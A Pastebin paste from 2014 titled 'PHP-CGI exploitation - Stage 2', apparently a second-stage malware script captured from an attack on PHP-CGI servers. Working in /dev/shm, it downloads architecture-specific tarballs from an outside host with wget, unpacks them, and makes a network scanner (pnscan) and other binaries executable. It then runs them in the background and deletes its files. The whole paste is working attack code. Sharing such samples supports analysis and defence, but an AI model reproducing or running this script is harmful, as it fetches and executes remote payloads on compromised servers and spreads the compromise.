Advertisement
tehsyntx

PHP-CGI exploitation - Stage 2 'ru'

Feb 14th, 2014
4,809
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.02 KB | None | 0 0
  1. ###
  2. @tehsyntx
  3. thembits.blogspot.com
  4. ###
  5.  
  6. #!/bin/bash
  7. dontrun=""
  8. arch=`uname -m`
  9. cd /dev/shm
  10. function runPnscan()
  11. {
  12.  
  13. cd /dev/shm
  14. chmod +x pnscan php
  15. bash run &
  16.  
  17. }
  18.  
  19. function isPnscanOn()
  20. {
  21.         pid=`pidof pnscan`
  22.         if [ "$pid" == "" ];then
  23.  
  24.                 retval=0
  25.         else
  26.                 retval=1
  27.         fi            
  28.         echo "$retval"
  29. }
  30.         cd /dev/shm
  31.         if [ ! -f pnscan ];then
  32.         case "$arch" in
  33.                 "x86_64")
  34.                 wget -q http://bont.hu/ar/64.tgz -O 64.tgz
  35.                 tar xvzf 64.tgz
  36.         rm -rf 64.tgz
  37.                 ;;
  38.                 *)
  39.                 wget -q http://bont.hu/ar/86.tgz -O 86.tgz
  40.                 tar xvzf 86.tgz
  41.         rm -rf 86.tgz
  42.                 ;;
  43.         esac
  44.         fi
  45.  
  46.  
  47. if [ $(isPnscanOn) == 1 ];then
  48. #        echo "Running"
  49.         exit
  50. else
  51.         echo "Not Running"
  52.         if [ "$dontrun" != "1" ];then
  53.                 $(runPnscan)
  54.         fi
  55. fi
  56. rm -rf /dev/shm/run
  57. rm -rf /dev/shm/pnscan
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement